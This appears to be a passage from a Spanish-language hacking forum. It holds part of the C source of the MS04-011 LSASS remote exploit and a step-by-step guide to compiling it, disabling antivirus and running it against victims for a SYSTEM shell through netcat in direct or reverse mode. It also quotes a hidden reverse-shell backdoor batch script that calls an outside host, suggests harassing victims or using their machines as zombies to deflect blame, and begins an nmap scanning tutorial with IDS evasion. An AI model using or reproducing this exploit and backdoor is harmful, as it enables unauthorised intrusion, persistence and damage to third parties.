"\x01\x00\x00\x00\x00\x00\x00\x00\x78\x85\x13\x00\xAB\x5B\xA6\xE9";

char req8[] =
"\x00\x00\x10\xF8\xFF\x53\x4D\x42\x2F\x00\x00\x00\x00\x18\x07\xC8"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x08\xFF\xFE"
"\x00\x08\x60\x00\x0E\xFF\x00\xDE\xDE\x00\x40\x00\x00\x00\x00\xFF"
"\xFF\xFF\xFF\x08\x00\xB8\x10\x00\x00\xB8\x10\x40\x00\x00\x00\x00"
"\x00\xB9\x10\xEE\x05\x00\x00\x01\x10\x00\x00\x00\xB8\x10\x00\x00"
"\x01\x00\x00\x00\x0C\x20\x00\x00\x00\x00\x09\x00\xAD\x0D\x00\x00"
"\x00\x00\x00\x00\xAD\x0D\x00\x00";
// room for shellcode here ...

char req9[] =
"\x00\x00\x0F\xD8\xFF\x53\x4D\x42\x25\x00\x00\x00\x00\x18\x07\xC8"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x08\x18\x01"
"\x00\x08\x70\x00\x10\x00\x00\x84\x0F\x00\x00\x00\x04\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x54\x00\x84\x0F\x54\x00\x02"
"\x00\x26\x00\x00\x40\x95\x0F\x00\x5C\x00\x50\x00\x49\x00\x50\x00"
"\x45\x00\x5C\x00\x00\x00\x00\x00\x05\x00\x00\x02\x10\x00\x00\x00"
"\x84\x0F\x00\x00\x01\x00\x00\x00\x6C\x0F\x00\x00\x00\x00\x09\x00";


char shit3[] =
"\x00\x00\x00\x00\x9A\xA8\x40\x00\x01\x00\x00\x00\x00\x00\x00\x00"
"\x01\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00"
"\x01\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00"
"\x01\x00\x00\x00"
"\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00"
"\x00\x00\x00\x00\x9A\xA8\x40\x00\x01\x00\x00\x00\x00\x00\x00\x00"
"\x01\x00\x00\x00\x00\x00\x00\x00\x9A\xA8\x40\x00\x01\x00\x00\x00"
"\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x9A\xA8\x40\x00"
"\x01\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00";




#define LEN 3500
#define BUFSIZE 2000
#define NOP 0x90

struct targets {

 int num;
 char name[50];
 long jmpaddr;

} ttarget[]= {

 { 0, "WinXP Professional [universal] lsass.exe ", 0x01004600 }, // jmp esp addr
 { 1, "Win2k Professional [universal] netrap.dll", 0x7515123c }, // jmp ebx addr
 { 2, "Win2k Advanced Server [SP4] netrap.dll", 0x751c123c }, // jmp ebx addr
 //{ 3, "reboot", 0xffffffff }, // crash
 { NULL }

};

void usage(char *prog)
{
 int i;
 printf("Usage:\n\n");
 printf("%s <target> <victim IP> <bindport> [connectback IP] [options]\n\n", prog);
 printf("Targets:\n");
 for (i=0; i<3; i++)
 printf(" %d [0x%.8x]: %s\n", ttarget[i].num, ttarget[i].jmpaddr, ttarget[i].name);
 printf("\nOptions:\n");
 printf(" -t: Detect remote OS:\n");
 printf(" Windows 5.1 - WinXP\n");
 printf(" Windows 5.0 - Win2k\n\n");
 exit(0);
}



int main(int argc, char *argv[])
{

int i;
int opt = 0;
char *target;
char hostipc[40];
char hostipc2[40*2];

unsigned short port;
unsigned long ip;
unsigned char *sc;

char buf[LEN+1];
char sendbuf[(LEN+1)*2];

char req4u[sizeof(req4)+20];

char screq[BUFSIZE+sizeof(req7)+1500+440];
char screq2k[4348+4060];
char screq2k2[4348+4060];

char recvbuf[1600];

char strasm[]="\x66\x81\xEC\x1C\x07\xFF\xE4";
char strBuffer[BUFSIZE];

unsigned int targetnum = 0;

int len, sockfd;
short dport = 445;
struct hostent *he;
struct sockaddr_in their_addr;
char smblen;
char unclen;
WSADATA wsa;


 printf("\nMS04011 Lsasrv.dll RPC buffer overflow remote exploit v0.1\n");
 printf("--- Coded by .::[ houseofdabus ]::. ---\n\n");


if (argc < 4) {
 usage(argv[0]);
}

target = argv[2];
sprintf((char *)hostipc,"\\\\%s\\ipc$", target);

for (i=0; i<40; i++) {
 hostipc2[i*2] = hostipc[i];
 hostipc2[i*2+1] = 0;
}

memcpy(req4u, req4, sizeof(req4)-1);
memcpy(req4u+48, &hostipc2[0], strlen(hostipc)*2);
memcpy(req4u+47+strlen(hostipc)*2, req4+87, 9);

smblen = 52+(char)strlen(hostipc)*2;
memcpy(req4u+3, &smblen, 1);

unclen = 9 + (char)strlen(hostipc)*2;
memcpy(req4u+45, &unclen, 1);

if (argc > 4)
 if (!memcmp(argv[4], "-t", 2)) opt = 1;

if ( (argc > 4) && !opt ) {
 port = htons(atoi(argv[3]))^(USHORT)0x9999;
 ip = inet_addr(argv[4])^(ULONG)0x99999999;
 memcpy(&reverseshell[118], &port, 2);
 memcpy(&reverseshell[111], &ip, 4);
 sc = reverseshell;
} else {
 port = htons(atoi(argv[3]))^(USHORT)0x9999;
 memcpy(&bindshell[176], &port, 2);
 sc = bindshell;
}


if ( (atoi(argv[1]) == 1) || (atoi(argv[1]) == 2)) {
 memset(buf, NOP, LEN);

 //memcpy(&buf[2020], "\x3c\x12\x15\x75", 4);
 memcpy(&buf[2020], &ttarget[atoi(argv[1])].jmpaddr, 4);
 memcpy(&buf[2036], sc, strlen(sc));

 memcpy(&buf[2840], "\xeb\x06\xeb\x06", 4);
 memcpy(&buf[2844], &ttarget[atoi(argv[1])].jmpaddr, 4); // jmp ebx addr
 //memcpy(&buf[2844], "\x3c\x12\x15\x75", 4); // jmp ebx addr

 memcpy(&buf[2856], sc, strlen(sc));

 for (i=0; i<LEN; i++) {
 sendbuf[i*2] = buf[i];
 sendbuf[i*2+1] = 0;
 }
 sendbuf[LEN*2]=0;
 sendbuf[LEN*2+1]=0;

 memset(screq2k, 0x31, (BUFSIZE+sizeof(req7)+1500)*2);
 memset(screq2k2, 0x31, (BUFSIZE+sizeof(req7)+1500)*2);

} else {
 memset(strBuffer, NOP, BUFSIZE);
 memcpy(strBuffer+160, sc, strlen(sc));
 memcpy(strBuffer+1980, strasm, strlen(strasm));
 *(long *)&strBuffer[1964]=ttarget[atoi(argv[1])].jmpaddr;
}

memset(screq, 0x31, BUFSIZE+sizeof(req7)+1500);

WSAStartup(MAKEWORD(2,0),&wsa);

if ((he=gethostbyname(argv[2])) == NULL) { // get the host info
 perror("[-] gethostbyname ");
 exit(1);
}

if ((sockfd = socket(AF_INET, SOCK_STREAM, 0)) == -1) {
 perror("socket");
 exit(1);
}


their_addr.sin_family = AF_INET;
their_addr.sin_port = htons(dport);
their_addr.sin_addr = *((struct in_addr *)he->h_addr);
memset(&(their_addr.sin_zero), '\0', 8);

printf("[*] Target: IP: %s: OS: %s\n", argv[2], ttarget[atoi(argv[1])].name);
printf("[*] Connecting to %s:445 ... ", argv[2]);
if (connect(sockfd, (struct sockaddr *)&their_addr, sizeof(struct sockaddr)) == -1) {
 printf("\n[-] Sorry, cannot connect to %s:445. Try again...\n", argv[2]);
 exit(1);
}
printf("OK\n");

if (send(sockfd, req1, sizeof(req1)-1, 0) == -1) {
 printf("[-] Send failed\n");
 exit(1);
}
len = recv(sockfd, recvbuf, 1600, 0);

if (send(sockfd, req2, sizeof(req2)-1, 0) == -1) {
 printf("[-] Send failed\n");
 exit(1);
}
len = recv(sockfd, recvbuf, 1600, 0);

if (send(sockfd, req3, sizeof(req3)-1, 0) == -1) {
 printf("[-] Send failed\n");
 exit(1);
}
len = recv(sockfd, recvbuf, 1600, 0);

if ((argc > 5) || opt) {
 printf("[*] Detecting remote OS: ");
 for (i=0; i<12; i++) {
 printf("%c", recvbuf[48+i*2]);
 }
 printf("\n");
 exit(0);
}

printf("[*] Attacking ... ");
if (send(sockfd, req4u, smblen+4, 0) == -1) {
 printf("[-] Send failed\n");
 exit(1);
}
len = recv(sockfd, recvbuf, 1600, 0);

if (send(sockfd, req5, sizeof(req5)-1, 0) == -1) {
 printf("[-] Send failed\n");
 exit(1);
}
len = recv(sockfd, recvbuf, 1600, 0);


if (send(sockfd, req6, sizeof(req6)-1, 0) == -1) {
 printf("[-] Send failed\n");
 exit(1);
}
len = recv(sockfd, recvbuf, 1600, 0);

if ( (atoi(argv[1]) == 1) || (atoi(argv[1]) == 2)) {
 memcpy(screq2k, req8, sizeof(req8)-1);
 memcpy(screq2k+sizeof(req8)-1, sendbuf, (LEN+1)*2);

 memcpy(screq2k2, req9, sizeof(req9)-1);
 memcpy(screq2k2+sizeof(req9)-1, sendbuf+4348-sizeof(req8)+1, (LEN+1)*2-4348);

 memcpy(screq2k2+sizeof(req9)-1+(LEN+1)*2-4348-sizeof(req8)+1+206, shit3, sizeof(shit3)-1);

 if (send(sockfd, screq2k, 4348, 0) == -1) {
 printf("[-] Send failed\n");
 exit(1);
 }
 len = recv(sockfd, recvbuf, 1600, 0);

 if (send(sockfd, screq2k2, 4060, 0) == -1) {
 printf("[-] Send failed\n");
 exit(1);
 }

} else {
 memcpy(screq, req7, sizeof(req7)-1);
 memcpy(screq+sizeof(req7)-1, &strBuffer[0], BUFSIZE);
 memcpy(screq+sizeof(req7)-1+BUFSIZE, shit1, 9*16);

 screq[BUFSIZE+sizeof(req7)-1+1500-304-1] = 0;
 if (send(sockfd, screq, BUFSIZE+sizeof(req7)-1+1500-304, 0)== -1){
 printf("[-] Send failed\n");
 exit(1);
 }
}
printf("OK\n");

len = recv(sockfd, recvbuf, 1600, 0);

return 0;
}

Ahora que tenemos el codigo fuente manos a la obra, primero que nada abriremos el dev-c++ y crearemos un nuevo proyecto.

Archivo – nuevo – proyecto.

Y en la ventana que nos abrira ya saben que deben de seleccionar “console application”, ponerle un nombre y en este caso en la parte que nos pone el lenguaje deberemos de poner C, como muestra la siguiente imagen:



¿Y por que digo que “en este caso”?
Pues sencillo, habra casos en los que se encuntren exploits que esten programados en C++ y no en C, por ello es bueno siempre revisar las cabeceras de los codigos fuentes que en este caso dice en la prime linea:
Código:
/* HOD-ms04011-lsasrv-expl.c:
Si se fijan aqui nos dice que el nombre del archivo es HOD-ms04011-lsasrv-expl.c
Cabe decir que todos los codigos fuentes que esten programados en C, nos los encontraremos con la extensión .c o si se tratan de C++ lo mas seguro es que los veamos como .cpp o .c++

Una vez hecho esto ya saben que hacer, borraremos el codigo fuente que nos creara el compilador y colocaremos el codigo fuente que les puse en este texto.

Antes de compilar vamos a hechar un vistaso al codigo fuente del programa para distinguir varios aspectos, como podran observar nuestro compilador nos cambiara el color de las letras dependiendo de la accion que se trate o en su caso de la funcion a la que se refiera el codigo.

Al comienzo veran que las letras se ven un poco opacas de un tono gris, esto es debido a que se tratan de comentarios en el codigo fuente y no afectan para nada a nuestro programa ¿y como los ubicamos? Es sencillo, si queremos agregar un comentario a lo largo de solo una linea de codigo nos bastara con colocar dos diagonales
Código:
 // 
de modo que todo lo que se escriba de su lado derecho no afectara el codigo fuente de un programa, o si vamos a utilizar muchos renglones lo usual es que coloquemos un
Código:
/*
Al comienzo del primer renglón y un
Código:
*/
Al final del ultimo renglón, de este modo todo lo que se encuentra dentro de estas dos señales quedara como un comentario.
¿y para que nos sirven los comentarios?
Su principal funcion es que nos ayuden a comprender el codigo fuente de modo que si tenemos muchas funciones, podriamos colocar un comentario diciendo que es lo que hace esa funcion asi, si en un futuro observamos el codigo fuente nos sera mas rapido comprender que era lo que estabamos pensando al momento de crear nuestro programa.

En el caso de los exploits es muy comun encontrarlos con las instrucciones de uso en las primeras lineas a manera de comentarios, como lo podemos observar en este eploit viene la forma en que se ejecuta asi como tambien dice quien lo creo y ademas tambien nos dice en que sistemas operativos fue testeado (probado o utilizado).

Ahora vamos a compilar nuestro exploit… (ya saben presiones F9 y listo)


Como pudieron observar al compilarlo nos marcara bastantes errores y es aquí donde pensaremos que el codigo fuente no funciona, que los he estafado o en el peor de los casos que su compilador ya no sirve y necesitan volverlo a instalar, no se procupen que esto es normal por que en realidad nos hace falta “linkear” la librería llamada “ws2_32”, y ¿Cómo se que se tiene que linkear dicha librería? Si ponemos atención en el codigo fuente, para ser exactos en la linea 75 dice algo asi (Nota: al poner el puntero en una linea automáticamente el compilador detecta que numero de linea es y nos lo dice en la parte inferios izquierda de la ventana):

Código:
#pragma comment(lib, "ws2_32")

Siempre que encontremos una sintaxis parecida se referira a que tenemos que linkear dicha librería, ahora bien para hacerlo primero tenemos que irnos al menú:

Proyecto – Opciones de proyecto

En la ventana que nos abrira nos desplazamos hasta la pestaña que dice “Argum…” alli se podran ver tres recuadros, en este caso el que nos interesa es el que dice “Enlazador(Linker)”, en la parte inferior veremos un boton que dice “Agregar librería u objeto” le damos un clic y a continuación en la ventana que nos abrira deberemos de buscar en nuestra computadora la librería llamada ws2_32, si hicimos una instalacion del Dev-C++ y dimos clic en la opciones predeterminadas deberan de desplazarse hasta C:\Dev-Cpp\lib y alli seleccionar la librería llamada libws2_32.a ahora en la ventana anterior les debera de aparecer algo como esto:



Ahora que dimos en aceptar nos devolvera a donde esta nuestro codigo fuente, antes de que lo compilen debo de hacer algunas aclaraciones, al momento de terminarlo de compilar obtendremos un ejecutable de un exploit (un .exe) el cual es detectado por todos los antivirus como un “virus” o tambien como un “hack tool” dependiendo del antivirus que tengamos instalado inclusive hay algunos que desde el momento de descargar codigo fuente y guardarlo con la extensión .c nos estara molestando diciendo que es un virus y que tiene que eliminarlo.
Siempre que nos encontremos una herramienta de este tipo por Internet y la queramos descargar a nuestro equipo el antivirus nos advertira y no nos dejara utilizarlo.

Digo esto por que ya nos han tocado bastantes comentarios del tipo:
- me descargue un troyano de tu pagina y mi norton me dice que tiene un virus con lo cual deduzco que quieres joderme metiendome un virus a mi computadora y hacerme explotar el disco duro.
Respuesta: un troyano es en realidad un virus y siempre tu antivirus te va a advertir de el aunque no lo hayas ejecutado aun.

- ¿Por que siempre que me bajo un exploit y lo ejecuto no pasa nada?
Respuesta: lo mas seguro es que tu antivirus te lo inutilizo justo al momento de que lo descargaste debido a que te detecto que es un virus.

- ¿Por que cuando me bajo un zip con el exploit siempre aparece una carpeta vacia?
Respuesta: esto es debido a que justo en el momento de que lo descomprimes tu antivirus te los elimina.

Los exploits y virus son herramientas con las cuales puedes entrar a otras computadoras y como consecuencia son dañinas para terceras personas y como la mision de los antivirus es mantener los equipos en buen estado pues es logico que los van a eliminar.

Asi de que ya saben, antes de continuar desactiven su antivirus.

Ahora vamos a compilar y ejecutar nuestro exploit (ya saben presionen F9) y podran observar como una ventanita negra se abre y se cierra rapidamente, esto es a que deberemos de ejecutarlo por medio de una ventana de DOS.

Primero que nada nos desplazamos hasta donde guardamos el codigo fuente del programa (donde nos pregunto el compilador que lo queriamos guardar), una vez alli podremos observar un ejecutable con el nombre que le pusimos a nuestro proyecto, en mi caso yo le puse exploit y por lo tanto me encontrare con una archivo llamado exploit.exe, lo voy a mover de lugar para ejecutarlo mas fácilmente, lo corto y lo pego en la raiz de mi disco duro.

Ahora abrimos una consola de DOS (ya saben como, inicio – ejecutar – y escribimos “cmd” sin las comillas).

Una vez alli me desplazo hasta la raiz de mi disco duro (basta con teclear “cd \”), tecleamos el comando dir para mostrar los archivos que alli se encuentran y verificar que se encuentra nuestro exploit, ahora solo tenemos que teclear el nombre de nuestro exploit y ver que hace:



Como podran observar en la parte que dice “Usage” nos dice como hacerle para ejecutarlo:

Código:
ploit <target> <victim IP> <bindport> [connectback IP] [options]

Si son curiosos abran notado que en los comentarios del mismo exploit nos dice todo esto e inclusive nos da un ejemplo.

Para que quede un poco mas claro como se usa este exploit lo vamos a utilizar en contra de un equipo que tengo por aquí en esta misma red, recuerden que el hecho de que yo lo este utilizando en una red no quiere decir que solo se limite a ser usado en redes, sino que tambien puede ser usado con victimas que se encuentran conectadas en Internet solo que si lo vamos a utilizar en contra de un equipo que se encuentra en Internet deberemos de averiguar su IP Publica y si estan conectados a Internet por medio de una router tendremos que mapear los puertos (si no habeis entendido estos conceptos, lee un poco mas arriba que ya se explico las diferencias entre una ip publica y una ip privada asi como tambien se explico como mapear los puertos a varios routers).

Una vez hechas las aclaraciones comencemos con la parte practica en el uso de este exploit.

Escenario:
IP del equipo atacante (ese soy yo):
192.168.1.2

IP del equipo victima:
192.168.1.10

Pues como lo unico que se de mi equipo victima es la ip, sera necesario que averiguemos que sistema operativo tiene para poder utilizar el exploit, para ello ejecutamos:

Código:
exploit 0 192.168.1.10 6000 –t

en donde yo puse 0 pueden colocar 1 si quieren asi como tambien donde yo puse 6000 ustedes pueden colocar el puerto que quieran de todas formas en este caso solo lo hacemos para averiguar que sistema operativo tiene, en mi caso me devuelve “Windows 5.1”

Código:
C:\>exploit 1 192.168.1.10 6000 -t

MS04011 Lsasrv.dll RPC buffer overflow remote exploit v0.1
--- Coded by .::[ houseofdabus ]::. ---

[*] Target: IP: 192.168.1.10: OS: Win2k Professional [universal] netrap.dll
[*] Connecting to 192.168.1.10:445 ... OK
[*] Detecting remote OS: Windows 5.1

por lo tanto se trata de un Windows xp, asi de que ya sabemos que “target” utilizar, cera el 0 (para los que esten algo perdidos, hasta ahora solo he deducido de lo que el mismo exploit me ha dicho asi como tambien de las opciones que sacamos cuando lo ejecutamos solo miren la imagne que esta un poco mas arriba).

En el caso de este exploit tenemos dos formas de ejecutarlo y lograr acceso a la victima, una es por medio de conexión directa y otra es por medio de una conexión inversa, la diferencia entre una y otra es que en la primera, nosotros nos tenemos que conectar al equipo victima por medio de un puerto que nos pondra a la escucha y en la segunda opcion el equipo victima se conectara a nosotros pero para ello primero tenemos que tener un netcat a la escucha en el puerto que vayamos a utilizar, hare las dos forma para que quede un poco mas claro.

CONEXIÓN DIRECTA

En esta forma primero que nada deberemos de ejecutar el exploit con de la siguiente forma(recuerden que yo utilizare el 0 por que se trata de un winxp):
Código:
exploit 0 192.168.1.10 6000

una vez ejecutado nos apareceran esto:
Código:
C:\>exploit 0 192.168.1.10 6000

MS04011 Lsasrv.dll RPC buffer overflow remote exploit v0.1
--- Coded by .::[ houseofdabus ]::. ---

[*] Target: IP: 192.168.1.10: OS: WinXP Professional [universal] lsass.exe
[*] Connecting to 192.168.1.10:445 ... OK
[*] Attacking ... OK

Después de que diga “Attacking … OK” solo deberemos de conectarnos a la victima con nuestro netcat en el puerto que elegimos (yo use el 6000).

Si no tienen el netcat lo pueden descargar del siguiente link:
http://safariexamples.informit.com/0201719568/Misc/Netcat/NT/nc11nt.zip

Si el link no funciona para cuando lean esto solo denle una pequeña buscada en google y seguro no tardaran nada.

Si quieren saber un poco mas sobre esta maravillosa herramienta les recomiendo lean los siguientes links:
http://foro.elhacker.net/index.php/board,15/action,display/threadid,15859.html
http://foro.elhacker.net/index.php/topic,58032.0.html


Muy bien, ahora que ya tenemos el netcat solo basta con ejecutarlo para conectarnos a la victima con el comando :

Código:
nc –vv 192.168.1.10 6000

y con esto ya tendran una bonita shell remota con privilegios de system como podemos observar en la siguiente imagen:



Como pueden observar una vez ejecutado el comando del netcat me coloco el puntero dentro de la carpeta “C:\Windows\system32” y es por ello que se deduce que me dio una shell de comandos remota con privilegios de system, de lo contrario en caso de que me hubiera dejado en la carpeta “C:\Documents and Settings\usuario” queria decir que obtuve una shell con los mismos privilegios del usuario que estaba utilizando el equipo en ese momento.

Nota: Recuerden que para poder ejecutar el netcat necesitan abrir una ventana de DOS en Windows y desde alli ejecutar las opciones (inicio – ejecutar – cmd) pero primero tienen que encontrarse en la carpeta que contiene el ejecutable del netcat(nc.exe) o en el mejor de los casos descarguen el netcat y coloquendo dentro de C:\Windows\System32 y asi ya lo podran ejecutar desde cualquier directorio en la linea de comandos.


CONEXIÓN INVERSA

Esta forma es casi igual de sencilla que la anterior solo que esta vez necesitaremos poner primero un netcat a la escucha en nuestro equipo, para ello abrimos una ventana de DOS y ejecutamos el comando:

Código:
nc –vv –l –p 6000

y dejamos esa ventana abierta.

Ahora abrimos otra ventana para ejecutar el exploit pero esta vez colocaremos el siguiente comando:

Código:
exploit 0 192.168.1.10 6000 192.168.1.2

recuerden que mi ip es 192.168.1.2, en su caso deberan de poner la ip que ustedes tengan y tambien tienen que tomar en cuenta que si ustedes se conectan a Internet por medio de una red, primero deberan de mapear el puerto que vayan a utilizar en el router (explico como hacer eso un poco mas arriba no sean flojos y leando).

Si todo salio bien les ocurrira lo mismo que a mi, observen la siguiente imagen:



La ventana que se enuentra en la parte superior es en la que puse en el netcat a la escucha y la ventana que se encuentra en la parte inferios fue en la que ejecute el exploit, como pueden observar justo después de ejecutar el exploit obtuve la shll remota del equipo victima en la otra ventana asi de que ahora ya tengo control absoluto de sus sistema.



Bueno bueno… hasta aquí todo muy bonito pero muchos se preguntaran ¿ya tengo la shell remota y ahora que hago? Pues si no tienen mucha imaginación lo mejor sera que cierren la ventana y mejor se vayan a dormir xD… si ya han leido varios textos de hacking sabran que ya estamos en la gloria por que tenemos control absoluto del sistema pero no por ello debemos de abusar ya que si hacemos algo que pudiera alertar al usuario de dicho pc lo mas seguro es que apague la computadora y como consecuencia ya no tendremos acceso, ademas siempre que logremos ingresar a un sistema lo mejor es crearse una puerta trasera para después volver a entrar cuando nos plasca sin necesidad de volver a realizar todos los pasos que hasta aquí hemos realizado.
Para crear una puerta trasera lo que podemos hacer es subirle un troyano a su pc y nosotros mismos ejecutarselo ademas después de todo tenemos una shell remota asi de que no necesitamos la intervención del usuario para ejecutarlo.
Otra opcion seria ponerle un netcat a la escucha y asi nosotros nos podemos conectar a dicho pc cuando queramos, aquí explico como hacer eso y varias cosillas mas:
http://foro.elhacker.net/index.php/topic,58032.0.html

Existen varias formas de hacerlo, otro metodo por medio de netcat que es bastante ingenioso y original es uno explicado por skilled aquí lo pongo a manera de cita:
Citar
Bueno posteo mi forma de dejar un backdoor reverse shell:

Creo el siguiente bat:

Código:
@echo off
:svr
nc -d -e cmd.exe x.x.x.x 3333>nul
ping -n 60 localhost>nul
goto svr

Si ejecuto el siguiente bat intentara la conexion a x.x.x.x aproximadamente cada minuto creando un bucle infinito.
(Podemos quitar la linea del ping para que intente la conexion infinitamente).

El problema de la ejecución de este backdoor es el cuadro de dialogo de secuencia de comandos. Para poder ocultarlo compilamos el bat con quick batch file compiler triando la opcion ghost application para que oculte el cuadro.
Finalmente añadimos el exe en el registro de la victima y con tansolo poner en nuestra shell: nc -vv -l -p 3333 obtendremos su shell, y si cerramos la conexion la podremos volver a obtener del mismo metodo.

Nose si alguien ya utilizo este metodo.. yo solo he visto utilizar backdoors revere shell con comandos at. Bueno espero que sirva igual.


Ya que tenemos una puerta trasera pues quizas nos queramos divertir un poco asi de que… ¿Por qué no tomamos control absoluto de su escritorio? Si si, asi como se escucha, que nosotros desde nuestra computadora podamos ver su escritorio y ademas tambien le podamos mover su puntero como si del nuestro se tratara, si quieren hacer eso les recomiendo lean el siguiente post:
http://foro.elhacker.net/index.php/topic,41671.0.html

Si lo unico que quieren es subirle y bajarle archivos, pues nada mejor que TFTP (mas arriba explico como se usa), tambien podriamos matarle procesos y asi quizas se asustaria un poco pensando que el pc se ha vuelto loco, tambien pueden moverle sus archivos, copiarlos o eliminarlos si lo desean o si lo prefieren y quieren ser un poco mas discretos pues le apagan el pc con el comando “shutdown” con la opcion -s desde la shell remota y vuala se tendra que ir a dormir sin terminar de chatear con sus amigos.

Ya siendo un poco mas malos lo mejor seria utilizar dicho pc como zombie de modo que nos sirviera de puente para entrar a otros pcs, asi si alguien nos pilla entrando a alguna otra computadora o haciendo algo indevido en un sitio web, pues la culpa recaira sobre la ip que ingreso a dicha web y como en este caso no fuimos nosotros sino nuestra victima manipulada por nosotros pues ve tu a decirme quien saldra mal…

170  Seguridad Informática / Hacking / Escaneo de Puertos en: 30 Octubre 2009, 07:31 am
ESCANEO DE PUERTOS
[/size]

Este tema es bastante importante en el mundo del hacking, aquel que no lo domine siquiera un poco estara completamente perdido en los temas que a continuación se iran viendo.

No voy a explicar como realizar escaneos a manera de barridos o buscar entre muchas computadoras alguna que posea una vulnerabilidad en especifico, ya hay bastantes usuarios en Internet que nomas se la pasan haciendo barridos para encontrar una vulnerabilidad en especifico y la verdad es que eso no es hacking de verdad, la unica forma en la cual se aprende de verdad es buscando una objetivo y de alli comenzar a reunir toda la información posible de el para asi realizar un ataque exitoso.

Como ya sabemos, cada host tiene por el simple hecho de estar conectado a una red puertos tanto TCP como UDP cabe recordar que un puerto funciona como si fuera una puerta para poder entrar a una casa, el problema es que por lo general nos encontramos con servicios que nos estan obstruyendo la entrada o con berreras que no nos dejan realizar nuestro trabajo como anteriormente solia ser, ahora Internet esta lleno de barreras que nos obstruyen divertirnos un poco, la curiosidad por poder explorar lugares en los que nunca hemos estado o entrar para observar cosas nunca antes vistas se esta terminando hoy en dia, el terreno del hacking esta cayendo y creo que es hora de poner manos a la obra para mostrar que seguimos vivos.

Bueno, creo que ya fue mucho de hablar y hablar asi de que comencemos con este tema que es bastante interesante, pero no lo hare sin anter pedirles que lean un excelente manual escrito por Death_Master que nos muestra la importancia del escaneo de puertos, lo pueden encontrar en el siguiente enlace:

http://foro.elhacker.net/index.php?action=dlattach;topic=37981.0;id=177

Nuestro principal objetivo al momento de realizar un escaneo es averiguar los puertos tanto UDP como TCP que esten abiertos para después proceder a identificar los servicios que estan detrás de cada puerto y ver si son vulnerables a algun bug conocido asi como tambien sabremos el sistema operativo que esta corriendo el host en cuestion.

Uno de los mejores escaners de puertos que existen al dia es nmap, el cual pueden descargar de la siguiente pagina:
www.insecure.org/nmap

Existe una version tanto para GNU/Linux como para Windows asi de que no va a importar el sistema operativo que tengamos para utilizar esta herramienta (cabe decir que me he basado en las opciones que aparecen en GNU/Linux aunque me supongo que en Windows deberan de ser las mismas).

Quizas a muchos no les guste esta herramienta del todo debido a que no es un escaner con un entorno grafico como los demas aunque esa no es una limitante para poder utilizarlo asi de que ya saben, van a tener que utilizar la consola de Windows para poder usarlo.

Basta con teclear nmap –h para observar todas las opciones que tiene.

Su sintaxis es muy simple:
Código:
Nmap [tipo de escaneo] [opciones] [ip o nombre de nuestro objetivo #1] [objetivo # 2] … [objetivo #N]

Cabe decir que nmap no se limita a escanear de una sola forma sino que se puede realizar un escaneo con las opciones que mas nos gusten para hacerlo de una forma eficaz.


TIPOSDE ESCANEO

-sT Escaneo TCP connect: es una manera bastante basica de escaneo ya que lo que hace en realidad es intentar conectarse con todos lo puertos importantes de la victima de forma que si en algun momento se llega a conectar, inmediatamente cierra dicha conexión, la desventaja de este escaneo es que todos los servidores gusrdaran un log de las diversas conexiones hechas por nuestra maquina.

-sS Escaneo tipo TCP SYN o tambien llamado “half open”(medio abierto): lo que hace es enviar un paquete SYN como si se fuera a establecer una conexión a lo cual la computadora victima nos respondera de dos formas, con un paquete SYN | ACK en caso de estar a la escucha o con un paquete RST en caso de estar cerrado.
Cabe decir que si nos responde con un SYN | ACK nuestra computadora le mandara un paquete RST para asi evitar establecer la conexión y de esta forma evitar que varias computadoras guarden un registro de este escaneo.

-sF –sX –sN Escaneo tipo Stealth FIN, Xmas Tree o Null scan: Muchas de las vecesel escaneo anterior no es lo suficientemente efectivo debido a que varios firewall logran detectar el escaneo asi de que necesitaremos una forma un poco mas sofisticada para hacerlo, digamos que estos tres tipos de escaneo lograr cruzar las barreras de los firewall (al menos de la inmensa mayoria xD).
El escaneo FIN utiliza un paquete FIN “vacio”, el escaneo Xmas tree activa las flags FIN, URG y PUSH, el escaneo Null al contrario del Xmas tree desactiva todas las flags.

-sP Escaneo ping: este tipo de escaneo es muy utilizado para cuando solo queremos saber que host estan activos y lo hace enviando una petición de respuesta tipo ICMP a cada host de la red especificada, es muy utilizado para realizar tambien los llamados barridos ping.

-sU Escaneo UDP: Este tipo de escaneo nos funcionara si queremos saber cuales puertos UDP se encuentran abiertos en una computadora, esto lo hace enviando un paquete UCP de 0 bytes de modo que si nos responde como un puerto inalcanzable sabremos que esta cerrado y en caso contrario se asume que esta abierto, recuerden que los puertos UDP tambien pueden ser importantes debido a que existen diversos servicios corriendo en ellos como puede ser TFTP, SNMP, NFS, etc.
Cabe decir que este tipo de escaneo es bastante lento la mayoria de las veces debido a que los sistemas Linux tienen una limitacion de mensajes de error, generando paquetes de destino inalcanzable en una cantidad de 80 cada 4 segundos. En el caso de un Solaris serian mas o menos 2 mensajes por segundo (esto si que es lento). Pero en el caso de un Windows no existe dicha limitante ya que como muchos sabran a microsoft no le gusta seguir los estandares (en este caso serian los de RFC 1812 sección 4.3.2.8) y se crea los suyos que muchas de las veces nos ayuda bastante :).

MAS OPCIONES

-P0 Con esta opcion al momento de realizar un escaneo, evita hacer un ping antes de escanearlo, lo cual nos ayuda bastante en caso de que el host a escanear tenga filtrados los paquetes ICMP.

-PT En esta opcion se utilizan ping de tipo TCP en lugar de los ICMP utilizados comúnmente, asi pues en lugar de mandar una petición de eco (ICMP) y esperar una respuesta, lanza paquetes TCP ACK con lo cual los host nos responderan con un RST.

-PS Esta opcion sustituye los paquetes ACK por paquetes SYN.

-PI En esta opcion se usan paquetes ping verdaderos y nos ayuda a encontrar direcciones de broadcast dirigidas a subredes en una red.

-PB Este es un ping por defecto utilizando barridos ACK e ICMP (opciones –PT y –PI) de modo que habra firewall que filtren una forma pero no ambas.

-O esta opcion nos ayuda a determinar el sistema operativo del host a escanear.

-f esta opcion nos sirve para complementar los escaneos tipo Xmas, Null, FIN o SYN de modo que fragmenta las cabeceras ip en trozos mas pequeños asi pues les hacemos la vida mas difícil a los detectores de intrusos y demas firewalls.

